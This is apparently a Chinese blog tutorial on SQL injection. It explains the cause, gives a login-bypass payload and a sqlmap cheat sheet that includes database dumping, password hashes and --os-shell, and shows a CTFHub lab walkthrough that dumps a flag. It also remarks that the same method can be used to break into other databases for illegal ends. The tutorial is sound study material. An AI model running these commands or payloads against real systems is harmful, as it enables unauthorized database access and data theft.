目录

什么是sql漏洞:

sql语言:

数据库和网页用户请求的原理:

sql注入原理:

sql注入检测:

sql注入检测工具:

实例演示:

漏洞防御


什么是sql漏洞:

这边采用了皮卡丘的sql漏洞的概述:
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

sql语言:

在了解sql漏洞之前,我们首先得要对于sql语言有一定的了解,sql语言是数据库查询语言,可以帮助我们对于数据库进行增删改查等等操作。sql语言可以大致分为以下六类:

1、数据查询语言(DQL):用以从表中获得数据。
常用保留字:SELECT,WHERE,ORDER BY,GROUP BY,HAVING2、数据操作语言(DML):用于添加、修改、删除表中的行
常用保留字:INSERT,UPDATE,DELETE3、事务控制语言(TCL):确保被DML语句影响的表的所有行及时得以更新。
常用保留字:COMMIT,SAVE POINT,ROLLBACK4、数字控制语言(DCL):通过GRANT或者REVOKE实现权限控制,确定单个用户和用户组对数据库对象的访问。5、数字定义语言(DDL):在数据库中创建新表或修改、删除表。
常用保留字:CREATE,ALERT,DROP6、指针控制语言(CCL):通过DECLARECURSOR,FETCH INTO 和 UPDATE WHERE CURRENT 用于对一个或多个表单独行的操作

数据库和网页用户请求的原理:

我们用户是如何通过客户端来访问数据库从数据库中得到数据的原理是我们了解sql注入漏洞的前提。
如果说有一个网站访问者bob,他想要查看一篇文章id为10086的文章:
step1、客户端就会向脚本引擎发出请求
step2、脚本引擎获取参数id的值为10086,然后动态构造sql语句:SELECT FROM ARTICLE WHERE id=10086
step3、数据库收到该sql语句,在article中查询id为10086的所有记录,并且会返回所有查询到的记录。
step4、脚本引擎会处理返回的所有记录,例如过滤并且编码特殊字符等,生成静态网页并且返回给客户端
step5、客户端最后会将这个静态网页展示给用户

sql注入原理:

在了解了数据库查询的原理后,我们差不多就可以明白sql注入的本质了,就是使用sql拼接方法,可注入恶意sql语句改变原本语句的实行逻辑
比如本来有一句

select *from usrs where usrname =‘$usrname' and password ='$password'

我们就可以通过拼接进行sql语句攻击,下面一句就是最常用的攻击方式,这种攻击可以使得该语句恒成立,改变了执行逻辑,可以绕过密码进行登录,原理就是and的优先级比or的优先级大。

select *from usrs where uername='admin' or '1' = '1' and password ='1'

sql注入检测:

sql注入检测分为两大部分:
a、寻找sql注入
b、确认sql注入

寻找sql注入又分为三个步骤:
1、识别web应用与数据库交互的可能输入,也就是识别潜在注入点:这边的潜在注入点可能存在于各种地方,其中主要位于以下几个部分:

get请求参数
post请求参数
cookie
x-forwarded-for
user-agent
referer
host

2、sql注入语句测试
3、根据服务器返回判别注入语句是否影响了sql执行结果以判断是否存在sql注入

sql注入检测工具:

sqlmap可以说是sql注入检测最方便的一款软件,通过终端就可以进行sql漏洞的检测,该工具采用了六种漏洞检测方法来对sql漏洞进行分析:分别是
布尔盲注 、 时间盲注 、基于报错的注入 、基于联合查询 基于多条SQL语句(堆叠注入) 、 非应用内通信注入,比如DNSLog

常用的语句如下:

sqlmap  -u  URL                  检查注入点
sqlmap  -u  URL  --dbs          列出数据库中所有数据库的名字
sqlmap  -u  URL  --is-dba       当前用户是否是数据库管理员
sqlmap  -u  URL  --current-db   显示当前数据库的名字-D                                指定数据库
--tables                        列出所有表名
qlmap  -u URL -D "xx"  --tables         列出xx数据库中的所有表-T                                指定一个表
--columns                       列出所有的字段名
qlmap  -u  URL  -D "xx"  -T  "cc"  --columns     列出表中所有的字段名-C                               指定一个字段名
--dump                          列出字段内容
qlmap  -u  URL  -D "xx"  -T  "cc"   -C  "x,x,.."  --dump     列出字段内容(-T ,-C之类的要用大写不然有时候会读不出来)sqlmap -r a.txt -p username     倒入txt文档的post数据包,并指定参数username进行注入--dbms mysql                    指定注入的数据类型为mysql数据库--os-shell                      尝试写入shell sqlmap -u url --batch --smart   自动聪明的选择,即执行的时候不需要我们再手动的进行选择yes或者no(但是由于机器自动进行选择,所以有时候结果会不一样比如没有结果,所以建议少使用)--force-ssl                     测https的时候--cookie "cookie值"             有些网站要登录才行,所以需设置cookie
--threads=10                    开启多线程,默认是单线程为1,最大10。线程越大检测速度越快
--users                         获取mysql数据库管理用户,mysql安装时会默认有一个root用户,除了这个用户可能还会创建有其他用户,这个参数可以将这些用户列出了
--passwords                     获取mysql数据库管理用户的hash值

实例演示:

我的是mac电脑,用的语言可能和windows有所出入,但是大致一样

这边选择的ctfhub的sql报错漏洞,几乎所有的都可以这样做:

首先将地址复制,然后检查注入点:

sqlmap -u url

这边的id是一个注入点,所以继续查询数据库中所有数据库的名字:

sqlmap -u URL  --batch --dbs

这边的上面三个数据库是自带的数据库,后面的sqli是新的数据库,那么flag应该就在里面

sqlmap -u http://challenge-74e8503906f5124f.sandbox.ctfhub.com:10800/\?id=1
-D sqli --batch --tables

flag现在在这个里面的一个table

sqlmap -u http://challenge-74e8503906f5124f.sandbox.ctfhub.com:10800/\?id=1
-D sqli -T flag --columns

最后查询这个字段内容就行了

sqlmap -u http://challenge-74e8503906f5124f.sandbox.ctfhub.com:10800/\?id=1-D sqli -T flag -C flag --dump

这边这道题的flag也就拿到了

同样的方式我们就可以入侵其他数据库去进行很多非法的活动了。

漏洞防御

对于这种最常见的漏洞防御方式也很多,比如限制数据类型、设置waf等等

但是最根本上解决这个问题的应该是预编译语句

学习之路漫漫兮,相见不易,求赞求关注!

sql注入漏洞和sqlmap的使用相关推荐

  1. Sqlmap查找SQL注入漏洞入门

    Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...

  2. 使用sqlmap检测sql注入漏洞

    一. sql注入概述并安装sqlmap漏洞查看工具 1. sql注入概述 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命 ...

  3. sqlmap注入教程linux,Linux Sqlmap检测sql注入漏洞工具安装使用教程

    Sqlmap工具 什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令) sql注 ...

  4. sqlmap检测sql注入漏洞

    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限.它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数 ...

  5. Backtrack5 SQL注入漏洞探测

    SQLMAP,它是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL. SQLMAP ...

  6. SQL注入——SQL注入漏洞利用(零)(值得收藏)

    一.什么是SQL注入漏洞 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库 ...

  7. 凤凰网php,凤凰网某应用sql注入漏洞_MySQL

    凤凰网某应用sql注入漏洞 凤凰新闻手机app的一个api接口过滤不严,存在注入漏洞. 注入点:http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2. ...

  8. 绕过waf mysql爆库_iwebsec刷题记录-SQL注入漏洞

    被推荐了这个web平台,感觉挺适合新手的,网上搜了下没看到有人写wp,这里本入门萌新来稍微整理下自己解题的过程 SQL注入漏洞 01-数字型注入 http://localhost:32774/sqli ...

  9. SQL注入漏洞(原理;网页注入)

    SQL注入漏洞 一.SQL的注入 SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相 ...

最新文章

  1. QByteArray怎么转化为QString类型,并且在QLineEdit上面显示出来
  2. Java程序员从笨鸟到菜鸟之(九十一)跟我学jquery(七)jquery动画大体验
  3. 为什么越来越多的程序员开始学机器学习?揭秘一个重要原因
  4. (全部)2008重磅出击——微软Windows Server 2008实战攻略系列
  5. GlassFish 4带来了Java EE 7
  6. 随便写写有关微软2004软件架构师峰会的个人感想(一)
  7. 苹果再因“降频门”遭遇集体诉讼,11.5万用户出拳
  8. linux根据端口号找目录,Linux通过程序端口寻找程序路径
  9. 除了工作怎么交朋友_“四步复盘法”,为你的工作加持!
  10. debian启动mysql_debian下的mysql服务突然启动失败
  11. 迅捷PDF虚拟打印机怎么安装和使用
  12. 故障树手册(Fault Tree handbook)(6)
  13. 学海无涯!我总结了所有面试题,含答案解析
  14. 计算机主机内最核心部件,计算机硬件系统中最核心的部件是什么
  15. 11尺寸长宽 iphone_2019新发布iPhone 11、iPhone 11 Pro、iPhone 11 Pro Max尺寸规格对比
  16. 用java实现首字母大写_java实现每个单词首字母大写
  17. 如何让U盘拷贝4G以上的大文件
  18. 螺旋进刀非法平面选择_钢筋工长考试题
  19. 80后的互联网北漂:你的未来在哪?
  20. CSS中一些渐变效果与透明

热门文章

  1. 怎么停掉或关闭运行的npm run dev
  2. UtoVR Player免费360VR视频播放器
  3. 循环码生成原理与FPGA实现
  4. GC overhead limit exceede
  5. qt QString数值转换格式化不足补0 QString十进制转换不足补0
  6. 在家学习编码:冠状病毒隔离开发人员技能手册
  7. NVME协议解读(一)
  8. 陈果《好的爱情》读书笔记(3)——人啊,认识你自己
  9. 草根方式学习java中的多线程
  10. 推石磨机器人_您见过机器人豆腐西施吗?七旬老人发明出来了,能推石磨添料揽客...